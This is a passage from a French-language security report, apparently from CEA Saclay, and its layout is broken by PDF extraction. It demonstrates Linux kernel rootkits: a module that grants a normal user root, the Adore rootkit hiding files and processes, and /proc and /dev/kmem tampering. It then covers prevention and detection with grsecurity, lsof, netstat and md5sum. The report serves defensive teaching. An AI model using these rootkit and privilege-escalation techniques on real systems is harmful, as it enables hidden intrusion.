0 (autoclean)
parport
23968
1 (autoclean) [parport_pc lp]
i810_audio
20288
0
soundcore
4068
2 [i810_audio]
ac97_codec
9568
0 [i810_audio]
af_packet
12488
2 (autoclean)
usb-uhci
21668
0 (unused)
usbcore
59072
1 [usb-uhci]
3c59x
25928
1 (autoclean)
nls_iso8859-1
2816
1 (autoclean)
nls_cp437
4352
1 (autoclean)
nls_iso8859-15
3360
1 (autoclean)
nls_cp850
3584
1 (autoclean)
vfat
9788
2 (autoclean)
fat
31384
0 (autoclean) [vfat]
rtc
5912
0 (autoclean)
aic7xxx
114676
0 (unused)
sd_mod
11512
0 (unused)
scsi_mod
93244
2 [aic7xxx sd_mod]
Il est bien chargé en mémoire.
•
Puis on le teste en devenant un utilisateur normal :
[arno@sam arno]$ id
uid=502(arno) gid=502(arno) groupes=502(arno),43(usb)
[arno@sam arno]$ /etc/passwd
[root@sam arno]# id
uid=0(root) gid=0(root) groupes=502(arno),43(usb)
On peut regarder le fichier /var/log/mesages où on voit la présence de notre rootkit :
Aug 28 15:40:25 sam kernel: [rootshell] Loaded :)
39
Aug 28 15:40:33 sam
(0/0/0/0)
aoû 28 15:40:33 sam
Aug 28 15:40:34 sam
(502/502/502/502)
Aug 28 15:40:38 sam
(502/502/502/502)
Aug 28 15:40:38 sam
Aug 28 15:40:38 sam
Aug 28 15:40:45 sam
Aug 28 15:41:45 sam
kernel: [rootshell]
./usr/bin/clear. (0/0/0/0)
su(pam_unix)[3929]: session closed for user root
kernel: [rootshell] ./bin/id. (502/502/502/502)
kernel: [rootshell]
kernel:
kernel:
kernel:
kernel:
./etc/passwd. (502/502/502/502)
[rootshell] Got it :)))
[rootshell] ./bin/id. (0/0/0/0) (0/0/0/0)
[rootshell] ./sbin/rmmod. (0/0/0/0) (0/0/0/0)
[rootshell] Unloaded :(
Les rootkits de ce type les plus connus pour Linux sont knark et adore. Pour Solaris, il existe les
Solaris Kernel Modules.
Adore possède seulement les fonctions essentielles : cacher des fichiers, des processus et des
connexions réseaux aux yeux de netstat. Il suffit de le charger en mémoire :
[root@sam adore]# ./startadore
Warning: loading adore.o will taint the kernel: no license
Warning: loading cleaner.o will taint the kernel: no license
[root@sam adore]# lsmod
Module
Size Used by
Tainted: P
isofs
25792
1 (autoclean)
inflate_fs
19328
0 (autoclean) [isofs]
smbfs
34304
2 (autoclean)
i810
68280
1
agpgart
31552
6 (autoclean)
parport_pc
22088
1 (autoclean)
lp
6464
0 (autoclean)
parport
23968
1 (autoclean) [parport_pc lp]
i810_audio
20288
0
soundcore
4068
2 [i810_audio]
ac97_codec
9568
0 [i810_audio]
af_packet
12488
2 (autoclean)
usb-uhci
21668
0 (unused)
usbcore
59072
1 [usb-uhci]
3c59x
25928
1 (autoclean)
nls_iso8859-1
2816
3 (autoclean)
nls_cp437
4352
3 (autoclean)
nls_iso8859-15
3360
2 (autoclean)
nls_cp850
3584
1 (autoclean)
vfat
9788
2 (autoclean)
fat
31384
0 (autoclean) [vfat]
rtc
5912
0 (autoclean)
aic7xxx
114676
0 (unused)
sd_mod
11512
0 (unused)
scsi_mod
93244
2 [aic7xxx sd_mod]
On voit qu’il n’apparaît pas dans la liste des modules chargés car il est livré avec un autre module
(cleaner.o) le rendant invisible à la commande lsmod.
Il se manipule via le programme ava :
40
[root@sam adore]# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]
h
u
r
R
U
i
v
hide file
unhide file
execute as root
remove PID forever
uninstall adore
make PID invisible
make PID visible
Essayons de cacher un fichier :
[root@sam adore]# ls
adore.c ava.c
configure*
libinvisible.h README
adore.h Changelog CVS/
LICENSE
rename.c
adore.o cleaner.c dummy.c
Makefile
startadore*
ava*
cleaner.o libinvisible.c Makefile.gen
TODO
[root@sam adore]# ./ava h ava
Checking for adore 0.12 or higher ...
Adore 0.42 installed. Good luck.
File 'ava' hided.
[root@sam adore]# ls
adore.c ava.c
cleaner.o dummy.c
LICENSE
README
adore.h Changelog configure* libinvisible.c Makefile
rename.c
adore.o cleaner.c CVS/
libinvisible.h Makefile.gen startadore*
Le fichier ava a disparu !
Voyons s’il réussit à cacher un processus :
[root@sam adore]# ps ax
PID TTY
STAT
TIME COMMAND
.
.
.
6765 ?
S
0:00 /usr/local/bin/fluxbox
6786 ?
S
0:00 /usr/bin/medusa-idled
6829 ?
S
0:00 aterm -sl 2000 -fg grey -bg black
6830 pts/0
S
0:00 bash
7159 pts/0
R
0:00 ps ax
[root@sam adore]# ./ava i 6830
Checking for adore 0.12 or higher ...
Adore 0.42 installed. Good luck.
Made PID 6830 invisible.
[root@sam adore]# ps ax
PID TTY
STAT
TIME COMMAND
.
.
.
41
TODO
6765
6786
6829
7162
?
?
?
pts/0
S
S
S
R
0:00
0:00
0:00
0:00
/usr/local/bin/fluxbox
/usr/bin/medusa-idled
aterm -sl 2000 -fg grey -bg black
ps ax
Il dissimule aussi les connexions réseau précisées dans le fichier adore.h.
3.1.3.4
Modification de /proc
Une autre technique utilisée par les rootkits est la modification de l’arborescence de /proc.
Ce répertoire est utilisé intensivement par Linux et un grand nombre d’applications. Il recense tous les
processus en créant, pour chacun, un répertoire du nom de son PID. On peut alors récupérer un
grand nombre d’informations. De plus, sous Linux, d’autres données sont collectées comme celles
relatives au bus PCI, au processeur,...
Le contenu du répertoire /proc :
[root@sam root]# ls /proc
1/
1626/ 1918/ 4/
1019/ 1648/ 1919/ 4117/
1042/ 1649/ 1920/ 4138/
1097/ 1689/ 1921/ 4197/
1111/ 1691/ 1922/ 4198/
1124/ 1692/ 1923/ 4217/
1178/ 1693/ 1932/ 4218/
1216/ 1694/ 1933/ 4280/
14/
1719/ 2/
4283/
1449/ 1746/ 2879/ 4337/
1544/ 1757/ 3/
4338/
1564/ 1917/ 3056/ 4829/
4832/
4833/
4924/
4926/
5/
522/
6/
67/
7/
8/
887/
910/
919/
969/
995/
apm
bus/
cmdline
cpuinfo
devices
dma
dri/
driver/
e820info
execdomains
fb
filesystems
fs/
ide/
interrupts
iomem
ioports
irq/
kcore
kmsg
ksyms
loadavg
self@
locks
slabinfo
mdstat
stat
meminfo
swaps
misc
sys/
modules
sysvipc/
mounts
tty/
mtrr
uptime
net/
version
partitions
pci
scsi/
On peut récupérer les informations spécifiques à un processus :
[root@sam root]# ls /proc/4924/
cmdline cwd@ environ exe@ fd/ maps
[root@sam root]# cat /proc/4924/status
Name:
vi
State: S (sleeping)
Tgid:
4924
Pid:
4924
PPid:
4338
TracerPid:
0
Uid:
502
502
502
502
Gid:
502
502
502
502
FDSize: 32
Groups: 502 43
VmSize:
5640 kB
VmLck:
0 kB
VmRSS:
2580 kB
VmData:
772 kB
VmStk:
24 kB
VmExe:
1636 kB
42
mem
root@
stat
statm
status
VmLib:
SigPnd:
SigBlk:
SigIgn:
SigCgt:
CapInh:
CapPrm:
CapEff:
2612 kB
0000000000000000
0000000080000000
8000000000003000
00000003ef804eff
0000000000000000
0000000000000000
0000000000000000
Et enfin, des informations sur notre processus :
[root@sam root]# cat /proc/cpuinfo
processor
: 0
vendor_id
: GenuineIntel
cpu family
: 6
model
: 8
model name
: Pentium III (Coppermine)
stepping
: 10
cpu MHz
: 996.784
cache size
: 256 KB
fdiv_bug
: no
hlt_bug
: no
f00f_bug
: no
coma_bug
: no
fpu
: yes
fpu_exception
: yes
cpuid level
: 2
wp
: yes
flags
: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca
cmov pat pse36 mmx fxsr sse
bogomips
: 1985.74
Linux propose une couche d’abstraction des systèmes de fichiers : le VFS (Virtual Filesystem). Grâce
cela, tous les systèmes de fichiers sont manipulables à l’aide des mêmes fonctions. Le répertoire
/proc peut donc être manipulé très facilement.
Dès lors, il n’est plus besoin de détourner les appels systèmes comme dans le cas des Linux Kernel
Rootkit précédents. Comme /proc est un système de fichiers, il est modifiable depuis l’espace
utilisateur et a une incidence directe dans l’espace noyau puisqu’il est stocké entièrement dans celuici.
Dans un article de phrack [19], l’auteur nous présente un tel rootkit. Son implémentation à l’aide d’un
module noyau offre de nombreuses possibilités :
•
•
•
•
•
réalisation de dénis de service de différentes sortes (effacement de fichiers, modifications de
droits, …)
masquage des connexions réseau : en effet, beaucoup d’informations se trouvent dans
/proc/net/ et les modifier est alors un jeu d’enfant.
élévation de privilège
masquage des processus
d’autres applications limitées seulement par l’imagination du pirate
43
3.1.3.5
Injection dans /dev/kmem
La mémoire est accessible sous Linux grâce à 2 devices particuliers :
•
•
/dev/mem est une image de la mémoire brute de l’ordinateur. On peut l’utiliser pour
examiner le système.
/dev/kmem est, quant à lui, une image de la mémoire virtuelle d’une machine, c’est à dire la
mémoire brute mais également l’espace d’échange (swap space).
L’excellent article de Silvio Cesare [17] fut le premier à présenter comment modifier à la volée un
noyau Linux en fonctionnement via /dev/kmem. Comment y parvient-il ?
Avant toute chose, il faut connaître ce que l’on désire modifier. Cela consiste à identifier la fonction
(ou la donnée) à modifier, puis à trouver son emplacement dans /dev/kmem. Pour cela, différentes
méthodes sont abordées, la plus simple consistant à regarder dans le fichier System.map
correspondant au noyau en fonctionnement. En effet, ce fichier associe nom de symbole et adresse
physique du symbole. D’autres méthodes sont évoquées dans l’article cité précédemment.
arno@valium:~$ grep printf /boot/System.map
c014d0c0 T seq_printf
c0155fb0 T proc_sprintf
c017e2c0 T acpi_os_printf
c017e2e0 T acpi_os_vprintf
c0207540 t sprintf_stats
c0244e30 T vsnprintf
c0245270 T snprintf
c02452a0 T vsprintf
c02452d0 T sprintf
c027d0c1 R __kstrtab_sprintf
c027d0d3 R __kstrtab_snprintf
c027d0f7 R __kstrtab_vsprintf
c027d10a R __kstrtab_vsnprintf
c027d323 R __kstrtab_seq_printf
c027e33c R __kstrtab_acpi_os_printf
c0286598 R __ksymtab_sprintf
c02865a0 R __ksymtab_snprintf
c02865b0 R __ksymtab_vsprintf
c02865b8 R __ksymtab_vsnprintf
c0286670 R __ksymtab_seq_printf
c0286b10 R __ksymtab_acpi_os_printf
arno@valium:~$
Silvio fournit aussi dans son article des programmes de preuve de concept pour appuyer ses théories.
Un article plus récent de phrack [18] propose un véritable rootkit basé sur ces théories et offrant un
niveau de furtivité très élevé. Celui-ci a l’avantage de pouvoir abuser le noyau Linux malgré l’absence
du fichier System.map et même si le noyau a été compilé sans le support des modules.
3.2
Prévention
Les moyens de se prémunir contre de telles attaques sont le plus souvent très simples, même si ces
mesures peuvent être gênantes dans l’exploitation quotidienne d’une machine. Cependant, dans le cas
d’un serveur, de telles mesures sont indispensables et très peu contraignantes.
44
3.2.1 Les fichiers de logs
Pour se protéger de la modification, voire de l’effacement, des fichiers de logs il est impératif que le
support sur lequel ces fichiers sont stockés soit difficilement modifiable. L’utilisation d’un système de
fichiers implémentant le drapeau append-only (on peut uniquement ajouter des données à un fichier,
aucune modification, dont l’effacement du fichier, ne peut être faîte) est une très bonne protection.
Certes, on peut la contourner, mais cela demandera beaucoup de travail à un pirate.
Par exemple sous Linux (avec un noyau 2.4 ou supérieur), on utilise la commande chattr avec
l’option +a pour rendre un fichier append-only (il existe aussi l’option +i – pour immutable – et qui
empêchera un fichier d’être modifié et effacé ; cette option peut se révéler pratique pour certains
fichiers de configuration).
Une autre solution peut être de renvoyer les fichiers de logs vers une machine « sûre » ne servant
qu’à leur stockage et leur traitement.
3.2.2 Les rootkits
Un moyen de se protéger contre les rootkits modules de noyau est d’interdire tout simplement cette
fonctionnalité. Certes, une telle mesure risque d’être pénalisante sur une station de travail, mais sur
un serveur dédié c’est, une fois de plus, la seule option sensée.
Grsecurity (www.grsecurity.net), grâce aux protections qu’il propose (aussi bien la définition d’ACL –
Access Control Lists – que par le patch noyau PaX), empêche de manière sûre toute possibilité de
pose d’un cheval de Troie. Ainsi on peut dire que le processus Apache n’a pas le droit d’écrire dans
/bin (empêchant ainsi le remplacement d’une commande standard), ne voit pas /proc/mem (pas de
possibilité d’injection), …
A notre avis, grsecurity est LA solution pour sécuriser un serveur Linux. Le temps d’apprentissage est
court et les règles sont très explicites. Il faut cependant bien connaître son système pour définir avec
précision les ACL pour chaque processus. Heureusement un mode d’apprentissage existe, diminuant
ainsi le temps d’écriture des règles. Comme nous sommes en présence d’un serveur (et si la
considération primordiale du principe de moindre privilège est appliquée) peu de programmes sont
présents et donc le nombre de règles est diminué d’autant.
3.3
Détection
3.3.1 Les chevaux de Troie
Le moyen d’éviter les chevaux de Troie utilisant le réseau est de surveiller les ports ouverts et les
connexions sur une machine. En identifiant chaque programme écoutant sur un port donné, on peut
réussir à identifier les chevaux de Troie. Les outils indispensables sont netstat, disponible en
standard sur un très grand nombre de plate-forme (même Windows ) et lsof, disponible en tant que
package pour la plupart des Unix. Celui-ci offre de très nombreuses possibilités de surveillance
système et réseau et facilite grandement la vie d’un administrateur. Certes sa prise en main n’est pas
aisée, mais une fois maîtrisé, il s’avère l’un des outils les plus puissants.
[root@sam
COMMAND
portmap
portmap
httpd
httpd
nc
root]# lsof -i
PID
USER
FD
887
rpc
3u
887
rpc
4u
1544 apache
3u
1564 apache
3u
4721
root
3u
TYPE DEVICE SIZE NODE NAME
IPv4
2831
UDP *:sunrpc
IPv4
2834
TCP *:sunrpc (LISTEN)
IPv4
3502
TCP *:webcache (LISTEN)
IPv4
3502
TCP *:webcache (LISTEN)
IPv4 43260
TCP *:666 (LISTEN)
45
On voit ici que la commande nc a été lancée par l’administrateur sur le port 666. Cela correspond à la
backdoor sommaire que nous avons créée au 3.1.2. On obtient le même résultat avec la commande
netstat.
[root@sam root]# netstat -atpn
Connexions Internet actives (serveurs et établies)
Proto Recv-Q Send-Q Adresse locale Adresse distante
tcp
0
0 0.0.0.0:111
0.0.0.0:*
tcp
0
0 0.0.0.0:8080
0.0.0.0:*
tcp
0
0 0.0.0.0:666
0.0.0.0:*
Etat
LISTEN
LISTEN
LISTEN
PID/Program name
887/portmap
1544/httpd
4721/nc
Pour les programmes remplaçant des commandes existantes, l’utilisation d’outils de vérification
d’intégrité à base de signatures, tels que md5sum ou tripwire, représente la meilleure solution.
Bien entendu, seule une vérification régulière associée à un stockage des signatures sur un média non
réinscriptible offre une véritable sécurité.
[root@sam root]# md5sum /bin/ls
bed8cb15ff9fe4f2cc8803201aceb975
[root@sam root]# md5sum ./ls
19c5cb7cce1c06e5ee27dc9ff256b026
/bin/ls
./ls
La signature entre une version compromise et la version originelle est donc bien différente.
3.3.2 Les rootkits
La détection des rootkits simples remplaçant les fichiers utilise les mêmes outils que ceux vus dans le
paragraphe précédant, à savoir tripwire ou md5sum. En réalisant des comparaisons à intervalle
régulier, on peut ainsi assurer l’intégrité des systèmes.
Un article très intéressant paru dans le dernier phrack [16] propose une méthode inédite identifiant
presque à coup sûr la présence d’un rootkit à base de module noyau, mais également tous les rootkits
modifiant à la volée /dev/kmem. Il se base sur le fait qu’un rootkit sous la forme d’un module affecte
la réponse du système pour des opérations très simples. En effet, face à un noyau non modifié, un
noyau infecté par un rootkit est beaucoup plus lent lors de certains appels car il effectue un nombre
d’opérations élémentaires supérieures (il doit, par exemple, vérifier que le nom du fichier demandé
n’est pas celui d’un fichier caché). Typiquement les fonctions testées sont : open_file, stat_file,
read_file, open_kmem, readdir_root, readdir_proc, read_proc_net_tcp, lseek_kmem
et read_kmem. Son implémentation/preuve de concept a été en mesure de détecter les rootkits les
plus connus ainsi que ceux présentés comme preuves de concept dans les différents numéros de
phrack ([18], [19] et [20] entre autres).
46
4 Conclusion
Dans ce volume nous nous sommes concentrés sur la présentation de moyens d’attaque standards et
de défense associés pour les systèmes de type Unix et plus particulièrement Linux.
Nous avons approfondi les mécanismes d’attaque système pour accroître ses privilèges et/ou obtenir
un accès sur une machine.
Nous avons également vu comment un pirate réussissait à se dissimuler sur une machine une fois qu’il
en a acquis le contrôle.
Heureusement pour les administrateurs des moyens de protection efficaces existent, par exemple
grsecurity pour les machines Linux. Ils demandent cependant souvent un temps d’apprentissage et/ou
de mise en place assez long.
Mais la sécurité n’a pas de prix.
47
5 Annexes
5.1
Bibliographie
5.1.1 Livres
[1]
Linux Magazine France – Hors série 8
Introduction à la cryptographie
Sécurité des serveurs
Trojans, rootkits et intégrité des données
Les attaques internes : virus, chevaux de Troie, backdoors
[2]
Hacking Exposed – Network Security Secrets and Solutions – 2nd Edition
Joel Scambray – Stuart McClure – George Kurtz
Osborne 2001
5.1.2 Articles
[3]
How to write buffer overflows
Mudge
20/10/1995
www.l0pht.com
[4]
Smashing the stack for fun and profit
Aleph One
Phrack Magazine 49
www.phrack.org
[5]
Smashing C++ VPTRS
rix
Phrack Magazine 56
www.phrack.org
[6]
Vudo – An object superstitiously believed to embody magical powers
Michel « Maxx » Kaempf
Phrack Magazine 57
www.phrack.org
[7]
The advanced return-into-lib(c) exploits : PaX case study
Nergal
Phrack Magazine 58
www.phrack.org
[8]
Getting around non-executable stack (and fix)
Solar Designer
www.securityfocus.com/archive/1/7480
[9]
Buffer overflow exploit in the alpha linux
Taeho Oh
www.postech.edu/plus
48
[10]
Advanced buffer overflow exploit
Taeho Oh
www.postech.edu/plus
[11]
w00w00 on heap overflows
Matt Conover
www.w00w00.org
[12]
Exploiting format string vulnerabilities
scut
Team Teso
www.team-teso.net
[13]
Les patchs kernel
Frédéric Raynal – Samuel Dralet
Linux Magazine France 39 – Mai 2002
[14]
Stackguard, Stackshield, Libsafe : protection contre les débordements de tampons
Christophe Bailleux
Linux Magazine France 39 – Mai 2002
[15]
Writing Linux Kernel Keylogger
rd
Phrack Magazine 59
www.phrack.org
[16]
Execution path analysis: finding kernel based rootkits
Jan K. Rutkowski
Phrack Magazine 59
www.phrack.org
[17]
Runtime kernel kmem patching
Silvio Cesare
www.big.net.au/~silvio
[18]
Linux on-the-fly kernel patching without LKM
sd, devik
Phrack Magazine 58
www.phrack.org
[19]
Sub proc_root Quando Sumus (Advances in Kernel Hacking)
palmers
Phrack Magazine 58
www.phrack.org
[20]
Abuse of the Linux Kernel for Fun and Profit
Halflife
Phrack Magazine 50
www.phrack.org
[21]
Defeating Solar Designer non-executable stack patch
Rafal Wojtczuk (nergal)
www.securityfocus.com/archive/1/8470
49
[22]
The Frame Pointer Overwrite
Klog
Phrack Magazine 55
www.phrack.org
[23]
Bypassing Stackguard and Stackshield
Bulba - Kil3r
Phrack Magazine 56
www.phrack.org
[24]
Detecting Format String Vulnerabilities with Type Qualifiers
Umesh Shankar, Kunal Talwar, Jeffrey S. Foster, David Wagner
Usenix 2001
[25]
Shared Libraries Call Redirection via ELF PLT Infection
Silvio Cesare
Phrack Magazine 56
www.phrack.org
5.2
Sites Internet
www.phrack.org
www.insecure.com/nmap/
www.xprobe2.org
www.packetfactory.com/firewalk/
www.team-teso.org
www.lids.org
www.grsecurity.net
50
ÉDITÉ PAR
LA DIRECTION DES SYSTEMES
D’INFORMATION
CEA / SACLAY 91191 GIF-SUR-YVETTE CEDEX FRANCE